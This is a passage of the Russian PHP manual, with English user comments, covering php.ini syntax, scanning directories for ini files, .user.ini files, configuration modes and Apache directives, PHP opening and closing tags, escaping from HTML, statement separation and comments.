include_path = ".:/usr/local/lib/php"

; обратный слеш обрабатывается так же, как любые другие символы
include_path = ".;c:\php\lib"

Возможно обращаться к существующим ini-переменным из ini-файлов. Пример: open_basedir = ${open_basedir} ":/new/dir".

Сканирование директорий

Существует возможность сконфигурировать PHP для сканирования директорий в поисках .ini-файлов после считывания php.ini. Это можно сделать на моменте компиляции, указав опцию --with-config-file-scan-dir. Сканирование директорий может быть переопределено во время исполнения установкой переменной среды PHP_INI_SCAN_DIR.

Можно сканировать несколько директорий, разделяя их разделителем, используемом в вашей операционной системе (; в Windows, NetWare и RISC OS; : на всех остальных платформах; в PHP есть константа PATH_SEPARATOR, которую можно использовать) Если PHP_INI_SCAN_DIR пуста, то PHP также будет сканировать директорию, заданную на этапе компиляции с помощью --with-config-file-scan-dir.

В каждой директории PHP сканирует все файлы заканчивающиеся на .ini в алфавитном порядке. Список всех загруженных файлов в том порядке, в котором они были загружены, доступен с помощью функции php_ini_scanned_files(), либо при запуске PHP с опцией --ini.

Допустим, что PHP сконфигурирован с --with-config-file-scan-dir=/etc/php.d,
и разделитель путей :...

$ php
  PHP загрузит все файлы /etc/php.d/*.ini как конфигурационные.

$ PHP_INI_SCAN_DIR=/usr/local/etc/php.d php
  PHP загрузит все файлы /usr/local/etc/php.d/*.ini как конфигурационные.

$ PHP_INI_SCAN_DIR=:/usr/local/etc/php.d php
  PHP загрузит все файлы /etc/php.d/*.ini, а потом
  /usr/local/etc/php.d/*.ini как конфигурационные.

$ PHP_INI_SCAN_DIR=/usr/local/etc/php.d: php
  PHP загрузит все файлы /usr/local/etc/php.d/*.ini, а потом
  /etc/php.d/*.ini как конфигурационные.

User Contributed Notes

atv dot seth at gmail dot com 08-Dec-2023 07:32
For anyone who wants to ignore any directory entirely

On a linux Redhat distro (this was on EL9):

; if using php-fpm, put this file in place"
/etc/systemd/system/php-fpm.service.d/override.conf
[Service]
Environment="PHP_INI_SCAN_DIR="

; do a systemd config reload:
systemctl daemon-reload

; if you want to make sure php on the cli fails if it's not passing 'PHP_INI_SCAN_DIR= php' (this should also affect both linux normal+system users?) then drop this file in place:
cat /etc/php.d/00-dont-use-phpd.ini
auto_prepend_file=MISSING_ENV__PHP_INI_SCAN_DIR__SEE_ETC_PHPD_00_DONT_USE_PHPD_INI
; don't allow php.d directory to load in files
; you must pass 'PHP_INI_SCAN_DIR= ' before your php command on the cli
; reference:
; https://www.php.net/manual/en/configuration.file.php#configuration.file.scan
Pictor13 27-Nov-2023 09:12
Notice that `error_reporting` CANNOT be interpolated with an environment variable (e.g. `error_reporting = ${PHP_ERROR_REPORTING}`).

`error_reporting` is treated differently than other directives:
if assigned an environment variable, this will be silently ignored and replaced with value `0` (aka no-reporting).

I couldn't find documentation about it.
Is maybe an info that should be added in https://github.com/php/php-src/blob/8f5156fcba9906664ecd97e4c279ee980e522121/php.ini-production#L451-L500 ?

I am not aware if this specific behavior affects only `error_reporting` or also other directive.
weili 12-Aug-2021 04:00
For someone who's also wondering.

PHP can work even if there is no configuration file(php.ini) loaded,
it will simply applies the default values to directives.
ohcc at 163 dot com 03-Sep-2016 05:06
in php.ini you can reference to an existing directive or an environment variable using the syntax ${varname}.

Here are some examples.

sys_temp_dir = "${WINDIR}"

--- ${WINDIR} will be replaced by $_ENV['WINDIR'] at runtime

--- you can set environment variables by Apache and use them in php.ini
--- FcgidInitialEnv AUTHOR "WUXIANCHENG"
--- error_log = "${AUTHOR}.log"

error_log = "${sys_temp_dir}"

--- ${sys_temp_dir} will be replace by the value of sys_temp_dir

Also you can use PHP constants in php.ini, but DONT'T wrap them in ${} or "".

error_log = "/data/"PHP_VERSION"/"

---  it works like this php code:

$error_log =  "/data/" . PHP_VERSION . "/";


Файлы .user.ini

Включена поддержка INI-файлов в стиле .htaccess на уровне каталога. Эти файлы обрабатываются только CGI/FastCGI SAPI. Эта функция делает ненужным модуль PECL htscanner. Если вы используете PHP как модуль Apache, то для достижения того же эффекта, пользуйтесь файлами .htaccess.

В дополнение к основному файлу php.ini, PHP ищет INI-файлы в каждой директории, начиная с директории запрошенного PHP-файла и продолжает поиск до корневой директории (установленной в $_SERVER['DOCUMENT_ROOT']). Если PHP-файл находится вне корневой директории, то сканируется только его директория.

Только INI-настройки с режимами PHP_INI_PERDIR и PHP_INI_USER будут распознаны в INI-файлах в стиле .user.ini.

Две новых INI-директивы, user_ini.filename и user_ini.cache_ttl, контролируют использование пользовательских INI-файлов.

user_ini.filename устанавливает имя файла, по которому PHP производит поиск в каждой директории; если установлена пустая строка, то PHP поиск не производит. По умолчанию .user.ini.

user_ini.cache_ttl устанавливает насколько часто пользовательские INI-файлы будут обновляться. По умолчанию период обновления составляет 300 секунд (5 минут).

User Contributed Notes

mark at manngo dot net 07-Aug-2022 12:38
Trap for young players, not that I'm such a young player myself.

The default setting for user_ini.cache_ttl is 300 seconds, which means that it refreshes every 5 minutes. If you are tweaking the settings in .user.ini, it could take up to 5 minutes before you see the results of your experimentation.

If you don't have access to php.ini where you can change this setting, you will have to learn to be very patient.
signups at altillc dot com 07-Jun-2020 05:01
For those looking for an example... .user.ini should be formatted as a simple list of [KEY]=[VALUE]\n sets.  For example, a one-line .user.ini file that serves solely to change the max allowable upload file size to 5Mb is:

upload_max_filesize="5M"
Anonymous 05-Sep-2019 03:05
Since the .user.ini is read from public directories, it's contents will be served to anyone requesting it and potientially show them sensitive configuration settings.

Add these lines to your .htaccess to block requests to it :
<Files ".user.ini">
    Require all denied
</Files>
info at vincentraal.nl 04-Sep-2018 01:15
Be aware that PECL htscanner doesn't work (yet) on PHP7.0.

'pecl install htscanner' throws an "zend_hash_update' undeclared'" error.
Anteaus at thenox dot com 25-Jul-2014 08:48
"If you are using Apache, use .htaccess files for the same effect."

To clarify, this applies only to Apache module mode. If you put php directives in .htaccess on an Apache CGI/FastCGI server, this will bomb the server out with a 500 error. Thus, you unfortunately cannot create a config which caters for both types of hosting, at least not in any straightforward way.
philsward at gmail dot com 03-Apr-2013 06:45
If you have no idea what "PHP_INI_PERDIR" or "PHP_INI_USER" are or how they relate to setting a .user.ini file, take a look at the ini.list page: http://www.php.net/manual/en/ini.list.php

Basically, anything in the "Changeable" column labeled as PHP_INI_SYSTEM can't be set in the .user.ini file (so quit trying).  It can ONLY be set at the main php.ini level.
interfaSys 05-Jan-2011 10:12
This article should be made clearer.
".htaccess-style INI files" meant to me that the ini settings had to follow the syntax used in .htaccess, but this is not the case!

You have to use
register_globals=on
and not
php_flag register_globals on

Also, the changes can take a while to propagate to all processes if you have a long process time out.
Restarting php-fpm can give you an answer quicker :)


Где могут быть установлены параметры конфигурации

Эти режимы определяют, когда и где директива PHP может или не может быть установлена, и каждая директива в руководстве относится к одному из этих режимов. К примеру, некоторые настройки могут быть установлены с помощью PHP-скрипта, использующего ini_set(), тогда как другие могут требовать php.ini или httpd.conf.

К примеру, директива output_buffering соответствует PHP_INI_PERDIR, поэтому она не может быть установлена через ini_set(). Тем не менее, директива display_errors соответствует PHP_INI_ALL, поэтому она может быть установлена отовсюду, включая ini_set().

Определение режимов PHP_INI_*
Режим | Описание
PHP_INI_USER | Значение может быть установлено в пользовательских скриптах (с помощью ini_set()) или в реестре Windows. Значение может быть установлено в .user.ini
PHP_INI_PERDIR | Значение может быть установлено в php.ini, .htaccess или httpd.conf
PHP_INI_SYSTEM | Значение может быть установлено в php.ini или httpd.conf
PHP_INI_ALL | Значение может быть установлено отовсюду

User Contributed Notes

There are no user contributed notes for this page.


Как изменить настройки конфигурации

Запуск PHP как модуля Apache

Когда PHP используется как модуль Apache вы также можете менять настройки конфигурации, используя директивы в файлах конфигурации Apache (например, httpd.conf) и файлах .htaccess. Для этого вам необходимы "AllowOverride Options" или "AllowOverride All" привилегии.

Есть несколько директив Apache, которые позволяют вам изменить конфигурацию PHP посредством файлов конфигурации Apache. С директивами PHP_INI_ALL, PHP_INI_PERDIR и PHP_INI_SYSTEM можно ознакомиться в приложении Список директив php.ini.

php_value name value

Устанавливает значение указанной директивы. Может использоваться только с директивами типа PHP_INI_ALL и PHP_INI_PERDIR. Для очистки предыдущих установленных значений используйте значение none.

Замечание: Не используйте php_value для установки логических значений. Вместо этого необходимо использовать php_flag (смотрите ниже).

php_flag name on|off

Используется для установки директивам логических значений. Может быть использовано только с директивами типа PHP_INI_ALL и PHP_INI_PERDIR.

php_admin_value name value

Устанавливает значение указанной директивы. Не может быть использовано в файлах .htaccess. Директивы любого типа, установленные с помощью php_admin_value не могут быть переопределены через .htaccess или ini_set(). Чтобы очистить предыдущее значение используйте значение none.

php_admin_flag name on|off

Используется для установки директивам логических значений. Не может быть использовано в файлах .htaccess. Директивы любого типа, установленные с помощью php_admin_flag не могут быть переопределены через .htaccess или ini_set().

Пример #1 Пример конфигурации Apache

<IfModule mod_php5.c>
  php_value include_path ".:/usr/local/lib/php"
  php_admin_flag engine on
</IfModule>
<IfModule mod_php4.c>
  php_value include_path ".:/usr/local/lib/php"
  php_admin_flag engine on
</IfModule>

Предостережение

PHP-константы недоступны вне PHP. К примеру, в httpd.conf вы не можете использовать константы PHP такие как E_ALL или E_NOTICE, чтобы установить директиву error_reporting, так как они не будут иметь значения и будут приравниваться к 0. Используйте вместо этого соответствующие значения типа bitmask (битовая маска). Эти константы могут быть использованы в php.ini

Изменение конфигурации PHP через реестр Windows

При использовании PHP в Windows значения конфигурации могут быть изменены на уровне директории посредством реестра Windows. Значения конфигурации хранятся в ключе реестра HKLM\SOFTWARE\PHP\Per Directory Values, в подключах, включающих полный путь. К примеру, значения конфигурации для директории c:\inetpub\wwwroot могут храниться в ключе HKLM\SOFTWARE\PHP\Per Directory Values\c\inetpub\wwwroot. Настройки для директории будут действительны для любых скриптов, запущенных из этой директории или её поддиректории. Значения ключа должны иметь название конфигурационной директивы PHP и строковое значение. PHP-константы в значениях игнорируются. Однако только значения конфигурации, изменяемые в PHP_INI_USER могут быть установлены таким образом, значения же PHP_INI_PERDIR не могут, потому что эти значения конфигурации перечитываются для каждого запроса.

Другие интерфейсы в PHP

Независимо от того, как вы запускаете PHP, вы можете изменять некоторые значения во время выполнения ваших скриптов c помощью ini_set(). Для более детальной информации смотрите документацию на странице функции ini_set().

Если вам интересен полный список конфигурационных настроек вашей системы с текущими значениями, то вы можете запустить функцию phpinfo() и просмотреть результирующую страницу. Вы также можете получить доступ к значениям индивидуально сконфигурированных директив в процессе выполнения, используя ini_get() или get_cfg_var().

User Contributed Notes

self at pabloviquez dot com 14-Jun-2009 06:07
Note that, changing the PHP configuration via the windows registry will set the new values using php_admin_value. This makes that you cannot override them on runtime.

So for example, if you set the include_path on the windows registry and then you call the set_include_path function in your application, it will return false and won't change the include_path.
contrees.du.reve at gmail dot com 02-Feb-2008 05:25
Being able to put php directives in httpd.conf and have them work on a per-directory or per-vitual host basis is just great. Now there's another aspect which might be worth being aware of:

A php.ini directive put into your apache conf file applies to php when it runs as an apache module (i.e. in a web page), but NOT when it runs as CLI (command-line interface).

Such feature that might be unwanted by an unhappy few, but I guess most will find it useful. As far as I'm concerned, I'm really happy that I can use open_basedir in my httpd.conf file, and it restricts the access of web users and sub-admins  of my domain, but it does NOT restrict my own command-line php scripts...


Справочник языка

  • Основы синтаксиса
    • Теги PHP
    • Изолирование от HTML
    • Разделение инструкций
    • Комментарии
  • Типы
    • Введение
    • Система типов
    • NULL
    • Логический тип
    • Целые числа
    • Числа с плавающей точкой
    • Строки
    • Числовые строки
    • Массивы
    • Объекты
    • Перечисления
    • Ресурс
    • Функции обратного вызова (callback-функции)
    • Mixed
    • Void
    • Never
    • Относительные типы классов
    • Value types
    • Итерируемые
    • Объявление типов
    • Манипуляции с типами
  • Переменные
    • Основы
    • Предопределённые переменные
    • Область видимости переменной
    • Переменные переменных
    • Переменные извне PHP
  • Константы
    • Синтаксис
    • Предопределённые константы
    • Магические константы
  • Выражения
  • Операторы
    • Operator Precedence
    • Arithmetic Operators
    • Incrementing/Decrementing Operators
    • Assignment Operators
    • Bitwise Operators
    • Comparison Operators
    • Error Control Operators
    • Execution Operators
    • Logical Operators
    • String Operators
    • Array Operators
    • Type Operators
  • Управляющие конструкции
    • Введение
    • if
    • else
    • elseif/else if
    • Альтернативный синтаксис управляющих структур
    • while
    • do-while
    • for
    • foreach
    • break
    • continue
    • switch
    • match
    • declare
    • return
    • require
    • include
    • require_once
    • include_once
    • goto
  • Функции
    • Функции, определяемые пользователем
    • Аргументы функции
    • Возврат значений
    • Обращение к функциям через переменные
    • Встроенные функции
    • Анонимные функции
    • Стрелочные функции
    • Callback-функции как объекты первого класса
  • Классы и объекты
    • Введение
    • Основы
    • Свойства
    • Константы классов
    • Автоматическая загрузка классов
    • Конструкторы и деструкторы
    • Область видимости
    • Наследование
    • Оператор разрешения области видимости (::)
    • Ключевое слово static
    • Абстрактные классы
    • Интерфейсы объектов
    • Трейты
    • Анонимные классы
    • Перегрузка
    • Итераторы объектов
    • Магические методы
    • Ключевое слово final
    • Клонирование объектов
    • Сравнение объектов
    • Позднее статическое связывание
    • Объекты и ссылки
    • Сериализация объектов
    • Ковариантность и контравариантность
    • Журнал изменений ООП
  • Пространства имён
    • Обзор пространств имён
    • Определение пространств имён
    • Определение подпространств имён
    • Описание нескольких пространств имён в одном файле
    • Использование пространства имён: основы
    • Пространства имён и динамические особенности языка
    • Ключевое слово namespace и константа __NAMESPACE__
    • Использование пространств имён: импорт/создание псевдонима имени
    • Глобальное пространство
    • Использование пространств имён: переход к глобальной функции/константе
    • Правила разрешения имён
    • Часто задаваемые вопросы (FAQ): вещи, которые вам необходимо знать о пространствах имён
  • Перечисления
    • Обзор перечислений
    • Основы перечислений
    • Типизированные перечисления
    • Методы перечислений
    • Статические методы перечислений
    • Константы перечислений
    • Трейты
    • Значения перечисления в постоянных выражениях
    • Отличия от объектов
    • Список значений
    • Сериализация
    • Почему перечисления не расширяемы
    • Примеры
  • Ошибки
    • Основы
    • Ошибки в PHP 7
  • Исключения
    • Наследование исключений
  • Fibers
  • Генераторы
    • Знакомство с генераторами
    • Синтаксис генераторов
    • Сравнение генераторов с объектами класса Iterator
  • Атрибуты
    • Введение в атрибуты
    • Синтаксис атрибутов
    • Чтение атрибутов с помощью Reflection API
    • Объявление классов атрибутов
  • Объяснение ссылок
    • Что такое ссылки
    • Что делают ссылки
    • Чем ссылки не являются
    • Передача по ссылке
    • Возврат по ссылке
    • Сброс переменных-ссылок
    • Неявное использование механизма ссылок
  • Предопределённые переменные
    • Суперглобальные переменные — Встроенные переменные, которые всегда доступны во всех областях
    • $GLOBALS — Ссылки на все переменные глобальной области видимости
    • $_SERVER — Информация о сервере и среде исполнения
    • $_GET — Переменные HTTP GET
    • $_POST — Переменные HTTP POST
    • $_FILES — Переменные файлов, загруженных по HTTP
    • $_REQUEST — Переменные HTTP-запроса
    • $_SESSION — Переменные сессии
    • $_ENV — Переменные окружения
    • $_COOKIE — HTTP Cookies
    • $php_errormsg — Предыдущее сообщение об ошибке
    • $http_response_header — Заголовки ответов HTTP
    • $argc — Количество аргументов, переданных скрипту
    • $argv — Массив переданных скрипту аргументов
  • Предопределённые исключения
    • Exception
    • ErrorException
    • Error
    • ArgumentCountError
    • ArithmeticError
    • AssertionError
    • DivisionByZeroError
    • CompileError
    • ParseError
    • TypeError
    • ValueError
    • UnhandledMatchError
    • FiberError
  • Встроенные интерфейсы и классы
    • Traversable — Интерфейс Traversable
    • Iterator — Интерфейс Iterator
    • IteratorAggregate — Интерфейс IteratorAggregate
    • InternalIterator — Класс InternalIterator
    • Throwable
    • ArrayAccess — Интерфейс ArrayAccess
    • Serializable — Интерфейс Serializable
    • Closure — Класс Closure
    • stdClass — Класс stdClass
    • Generator — Класс Generator
    • Fiber — Класс Fiber
    • WeakReference — Класс WeakReference
    • WeakMap — Класс WeakMap
    • Stringable — Интерфейс Stringable
    • UnitEnum — Интерфейс UnitEnum
    • BackedEnum — Интерфейс BackedEnum
    • SensitiveParameterValue — Класс SensitiveParameterValue
  • Предопределённые атрибуты
    • Attribute — Класс Attribute
    • AllowDynamicProperties — Класс AllowDynamicProperties
    • ReturnTypeWillChange — Класс ReturnTypeWillChange
    • SensitiveParameter — Класс SensitiveParameter
  • Контекстные опции и параметры
    • Контекстные опции сокета — Список контекстных опций сокета
    • Опции контекста HTTP — Список опций контекста HTTP
    • Параметры контекста FTP — Список параметров контекста FTP
    • Опции контекста SSL — Список опций контекста SSL
    • Контекстные опции Phar — Список контекстных опций Phar
    • Параметры контекста — Список параметров контекста
    • Опции контекста Zip — Список опций контекста Zip
    • Zlib context options — Перечисление опций контекста Zlib
  • Поддерживаемые протоколы и обёртки
    • file:// — Доступ к локальной файловой системе
    • http:// — Доступ к URL-адресам по протоколу HTTP(s)
    • ftp:// — Доступ к URL-адресам по протоколу FTP(s)
    • php:// — Доступ к различным потокам ввода-вывода
    • zlib:// — Сжатые потоки
    • data:// — Схема Data (RFC 2397)
    • glob:// — Нахождение путей, соответствующих шаблону
    • phar:// — PHP-архив
    • ssh2:// — Secure Shell 2
    • rar:// — RAR
    • ogg:// — Аудиопотоки
    • expect:// — Потоки для взаимодействия с процессами

User Contributed Notes

There are no user contributed notes for this page.


Основы синтаксиса

Содержание

  • Теги PHP
  • Изолирование от HTML
  • Разделение инструкций
  • Комментарии

User Contributed Notes

There are no user contributed notes for this page.


Теги PHP

Когда PHP обрабатывает файл, он ищет открывающие и закрывающие теги, такие как <?php и ?>, которые указывают PHP, когда начинать и заканчивать обработку кода между ними. Подобный способ обработки позволяет PHP внедряться во все виды различных документов, так как всё, что находится вне пары открывающих и закрывающих тегов, будет проигнорировано парсером PHP.

PHP включает в себя короткий echo-тег <?=, который является сокращением для более многословного <?php echo.

Пример #1 Открывающие и закрывающие теги PHP

1. <?php echo 'если вы хотите хранить код PHP в документах XHTML или XML,
то используйте эти теги'; ?>

2. Вы можете использовать короткий 'echo'-тег чтобы <?= 'напечатать эту строку' ?>.
Этот тег эквивалентен такому коду
<?php echo 'напечатать эту строку' ?>.

3. <? echo 'этот код с короткими тегами, но он будет работать только если '.
'включена опция "short_open_tag"'; ?>

Короткие теги (третий пример) доступны по умолчанию, но их можно отключить с помощью директивы short_open_tag в конфигурационном файле php.ini или отключены по умолчанию, если PHP был скомпилирован с опцией --disable-short-tags.

Замечание:

Поскольку короткие теги можно отключить, рекомендуется использовать только обычные теги (<?php ?> и <?= ?>) для максимальной совместимости.

Если файл содержит только код PHP, предпочтительно опустить закрывающий тег в конце файла. Это помогает избежать добавления случайных символов пробела или перевода строки после закрывающего тега PHP, которые могут послужить причиной нежелательных эффектов, так как PHP начинает выводить данные в буфер при отсутствии намерения у программиста выводить какие-либо данные в этой точке скрипта.

<?php
echo "Hello world";

// ... ещё код

echo "Последнее выражение";

// Скрипт заканчивается тут без закрывающего тега PHP

User Contributed Notes

irfan dot swen at gmail dot com 22-Feb-2023 04:44
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h1>PHP Language</h1>
    <?php echo "1) PHP Special Syntax Code"; ?><br>

    <?= "2) PHP Special Syntax Code"; ?><br>

    <!-- Not Working-->  <? "3) PHP Special Syntax Code" ?>
</body>
</html>


Изолирование от HTML

Все, что находится вне пары открывающегося и закрывающегося тегов, игнорируется интерпретатором PHP, у которого есть возможность обрабатывать файлы со смешанным содержимым. Это позволяет PHP-коду быть встроенным в документы HTML, к примеру, для создания шаблонов.

<p>Это будет проигнорировано PHP и отображено браузером.</p>
<?php echo 'А это будет обработано.'; ?>
<p>Это тоже будет проигнорировано PHP и отображено браузером.</p>
Это работает так, как и ожидается, потому что когда интерпретатор PHP встречает закрывающие теги ?>, он просто начинает выводить все что найдёт (за исключением сразу следующего символа перевода строки - смотрите раздел разделение инструкций) пока не встретит другой открывающий тег за исключением случая с содержащимся внутри кода условным оператором, в котором интерпретатор определяет результат условия перед принятием решения что пропустить. Ознакомьтесь со следующим примером.

Использование структур с условиями

Пример #1 Продвинутое изолирование с использованием условий

<?php if ($expression == true): ?>
 Это будет отображено, если выражение истинно.
<?php else: ?>
 В ином случае будет отображено это.
<?php endif; ?>
В этом примере PHP пропускает блоки, где условие не соблюдается. Даже несмотря на то, что они находятся вне пары открывающих/закрывающих тегов, PHP пропустит их в соответствии с условием, так как интерпретатор PHP будет перепрыгивать через блоки, содержащиеся внутри условия, которое не соблюдается.

При выводе больших блоков текста выход из режима синтаксического разбора PHP обычно более эффективен, чем отправка текста с помощью функций echo или print.

Замечание:

Кроме того, если вы намереваетесь вставлять PHP-код в XML или XHTML, чтобы соответствовать XML стандартам, вам следует использовать форму <?php ?>.

User Contributed Notes

gazianis005 at gmail dot com 31-Mar-2023 01:18
There are two types of escaping from HTML.
1.Normal escaping of using  outside of a pair of opening and closing tag
2.Advance escaping of  using conditions.

Example of normal escaping

<p>This is  going to be ignored by the php parser and displayed by the browser</p>
<?php echo 'This is going to be parsed';?>
<>This will also ignored by the php parser and displayed by the browser</>

Example of  advanced escaping

<?php if($expression == true): ?>
This will show if expression is true
<?php else : ?>
Otherwise  this will show
<?php endif ;?>
bryanrojasq.wordpress.com 15-Feb-2022 10:39
Example for a basic implementation of ternary operator to validate and print a class in the layout.

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title><?= $page_title ?></title>
</head>
<body <?= strtolower($page_slug) === 'homepage' ? 'class="page-homepage"' : ''; ?>>
    <section>
        <h1><?= $page_title ?></h1>
        <p>This is a paragraph.</p>
    </section>
</body>
</html>
Anonymous 14-Jan-2021 01:10
Since it's not documented (AFAICT) and it might cause confusion: a single line break immediately after ?> is ignored. Since whitespace is hard to see, whitespace is replaced with _ and the following code

<?php echo '1'; ?>
<?php echo '2'; ?>_
<?php echo '3'; ?>
_<?php echo '4'; ?>_<?php echo '5'; ?>

will produce

12_
3_4_5
anisgazig.com 12-Sep-2020 11:26
<p>This is ignore by the php parser and displayed by the browser </p>

 <?php echo "While this is going to be parsed"; ?>

 <?php

when php interpreter hits the closing tag it start to outputing everything whatever it finds until it hit another opening tag.If php interpreter find a conditional statement in the middle of a block then php interpreter decided which block skip

 Advanced escaping using conditions

  <?php $a = 10; if($a<100): ?>
  This conditional block is executed
  <?php else: ?>
      otherwise this will be executed
      <?php endif; ?>

In php 5 version,there are 5 opening and closing tags.
1.<?php echo "standard long form php tag and if you use xml with php this tag will be use";?>

2.<?= "short echo tag and alwayes available from 5.4.0";?>

3.<? echo "short open tag which is available if short_open_tag is enable in php ini configuration file directive or php was configured with --enable-short-tags.This tag has discoursed from php 7.If you want to use xml with php,then short_open_tag in php ini will be disabled";?>

4.<script language="php">
echo "Some editor do not like processing the code within this tag and this tag is removed from php 7.0.0 version";

</script>

5.<% echo "asp style tag and asp_tags should be enabled but now php 7.0.0 version,this tag is removed";%>
davidhcefx 05-Sep-2020 07:15
When the PHP interpreter hits the ?> closing tags, it WON'T output right away if it's inside of a conditional statement:
(no matter if it's an Alternative Syntax or not)

<html>
<?php
$a = 1;
$b = 2;
if ($a === 1) {
    if ($b == 2) {
        ?><head></head><?php
    } else {
        ?><body></body><?php
    }
}
?>
</html>

This would output `<html><head></head></html>`.
Aside from conditional statements, the PHP interpreter also skip over functions! What a surprise!

<html>
<?php
function show($a) {
    ?>
    <a href="https://www.<?php echo $a ?>.com">
    Link
    </a>
    <?php
}
?>
<body>
    <?php show("google") ?>
</body>
</html>

This gives `<html><body><a href="https://www.google.com">Link</a></body></html>`.
These really confused me, because at first I thought it would output any HTML code right away, except for Alternative Syntaxes (https://www.php.net/manual/en/control-structures.alternative-syntax.php). There are more strange cases than I thought.
anisgazig at gmail dot com 22-Sep-2019 06:57
Version of  7.0.0,3 tags are available in php.
1.long form tag (<?php ?>)
2.short echo tag(<?= ?>)
3.short_open_tag(? ?)
You can use short_open_tag when you start xml with php.
Emil Cataranciuc 19-Apr-2018 08:30
"<script language="php"> </script>, are always available." since PHP 7.0.0 is no longer true. These are removed along the ASP "<%, %>, <%=" tags.
sgurukrupa at gmail dot com 10-Mar-2014 07:01
Although not specifically pointed out in the main text, escaping from HTML also applies to other control statements:

<?php for ($i = 0; $i < 5; ++$i): ?>
Hello, there!
<?php endfor; ?>

When the above code snippet is executed we get the following output:

Hello, there!
Hello, there!
Hello, there!
Hello, there!
mike at clove dot com 30-Nov-2010 10:30
It's possible to write code to create php escapes which can be processed later by substituting \x3f for '?' - as in echo "<\x3fphp echo 'foo'; \x3f>";

This is useful for creating a template parser which later is rendered by PHP.
quickfur at quickfur dot ath dot cx 26-Jul-2010 02:40
When the documentation says that the PHP parser ignores everything outside the <?php ... ?> tags, it means literally EVERYTHING. Including things you normally wouldn't consider "valid", such as the following:

<html><body>
<p<?php if ($highlight): ?> class="highlight"<?php endif;?>>This is a paragraph.</p>
</body></html>

Notice how the PHP code is embedded in the middle of an HTML opening tag. The PHP parser doesn't care that it's in the middle of an opening tag, and doesn't require that it be closed. It also doesn't care that after the closing ?> tag is the end of the HTML opening tag. So, if $highlight is true, then the output will be:

<html><body>
<p class="highlight">This is a paragraph.</p>
</body></html>

Otherwise, it will be:

<html><body>
<p>This is a paragraph.</p>
</body></html>

Using this method, you can have HTML tags with optional attributes, depending on some PHP condition. Extremely flexible and useful!
snor_007 at hotmail dot com 01-Apr-2010 04:28
Playing around with different open and close tags I discovered you can actually mix different style open/close tags

some examples

<%
//your php code here
?>

or

<script language="php">
//php code here
%>
ravenswd at gmail dot com 01-Aug-2009 05:08
One aspect of PHP that you need to be careful of, is that ?> will drop you out of PHP code and into HTML even if it appears inside a // comment. (This does not apply to /* */ comments.) This can lead to unexpected results. For example, take this line:

<?php
  $file_contents  = '<?php die(); ?>' . "\n";
?>

If you try to remove it by turning it into a comment, you get this:

<?php
//  $file_contents  = '<?php die(); ?>' . "\n";
?>

Which results in ' . "\n"; (and whatever is in the lines following it) to be output to your HTML page.

The cure is to either comment it out using /* */ tags, or re-write the line as:

<?php
  $file_contents  = '<' . '?php die(); ?' . '>' . "\n";
?>


Разделение инструкций

Как в C или Perl, PHP требует окончания инструкций точкой запятой в конце каждой инструкции. Закрывающий тег блока PHP-кода автоматически применяет точку с запятой; т.е. нет необходимости ставить точку с запятой в конце последней строки блока с PHP-кодом. Закрывающий тег блока "поглотит" немедленно следующий за ним переход на новую строку, если таковой будет обнаружен.

Пример #1 Пример, показывающий закрывающий тег, охватывающий завершающую новую строку

<?php echo "Какой-то текст"; ?>
Нет новой строки
<?= "А сейчас, новая строка" ?>

Результат выполнения данного примера:

Какой-то текстНет новой строки
А сейчас, новая строка

Примеры входа и выхода из парсера PHP:

<?php
echo 'Это тест';
?>

<?php echo 'Это тест' ?>

<?php echo 'Мы опустили последний закрывающий тег';

Замечание:

Закрывающий тег PHP-блока в конце файла не является обязательным, и в некоторых случаях его опускание довольно полезно, например, при использовании include или require, так, что нежелательные пробелы не останутся в конце файла и вы всё ещё сможете добавить http-заголовки после подключения к ответу сервера. Это также удобно при использовании буферизации вывода, где также нежелательно иметь пробелы в конце частей ответа, сгенерированного подключаемыми файлами.

User Contributed Notes

M1001 12-Jun-2022 02:18
You are also able to write more than one statement in one line, just separating with a semicolon, example:

<?php
echo "a"; echo "b"; echo "c";
#The output will be "abc" with no errors
?>
anisgazig at gmail dot com 12-Sep-2020 04:57
At the end of each statement,we will use a semicolon to seperate each statement.Php closing tag autometically implies a semiclon.So last line of a statment do not require a statement.

<?php echo "first statement";
      echo "second statement"
?>

Closing tag is optional and some cases omitting the closing tag is very helpful.
1.using include or require function
2.unwanted whitespace will not occur at the end of file
3.add header any time

<?php echo "omitting closing tag";
Krishna Srikanth 17-Aug-2006 04:44
Do not mis interpret

<?php echo 'Ending tag excluded';

with

<?php echo 'Ending tag excluded';
<p>But html is still visible</p>

The second one would give error. Exclude ?> if you no more html to write after the code.


Комментарии

PHP поддерживает комментарии в стиле 'C', 'C++' и оболочки Unix (стиль Perl). Например:

<?php
echo "Это тест"; // Это однострочный комментарий в стиле C++
/* Это многострочный комментарий
ещё одна строка комментария */
echo "Это ещё один тест";
echo "Последний тест"; # Это комментарий в стиле оболочки Unix
?>

Однострочные комментарии идут только до конца строки или текущего блока PHP-кода, в зависимости от того, что идёт перед ними. Это означает, что HTML-код после // ... ?> или # ... ?> БУДЕТ напечатан: ?> завершает режим PHP и возвращает режим HTML, а // или # не могут повлиять на это.

<h1>Это <?php # echo "простой";?> пример</h1>
<p>Заголовок вверху выведет 'Это пример'.</p>

'C'-комментарии заканчиваются при первой же обнаруженной последовательности */. Убедитесь, что вы не вкладываете друг в друга 'C'-комментарии. Очень легко допустить эту ошибку при комментировании большого блока кода.

<?php
/*
echo "Это тест"; /* Этот комментарий вызовет проблему */
*/
?>

User Contributed Notes

aetonsi 21-Dec-2022 12:51
As of php 8, single line comments starting exactly with "#[" have a special meaning: they are treated as "attributes", and they must respect the expected syntax. See: https://www.php.net/manual/en/language.attributes.php

So the following code throws an error in php 8+, while it is perfectly valid in php <8:
<?php
#[~~my super cool comment~~~]
?>

To be safe, just always use "//" comments instead of "#". Maybe in the future there will be other special meanings for the "#" comments, who knows.
anisgazig at gmail dot com 15-Sep-2020 07:17
In php there are 3 types of comments
1.single line c++ style comment(//)
2.single line Unix shell stype comment(#)
3.multi line c style comment(/*/)

single or multi line comment comes to the end of the line or come first to the current block of php code.

HTML code will be printed after //...?> or #...?>
closing tag breaks the php mode and return to html mode.

different comments in different tags:
===================================
<H1>Standard tag: <?php //echo " standard tag"; ?>single line c++ style comment</H1>
<p>The header above will break php mode and return html mode and show  'Standard tag:single line c++ style comment'</p>

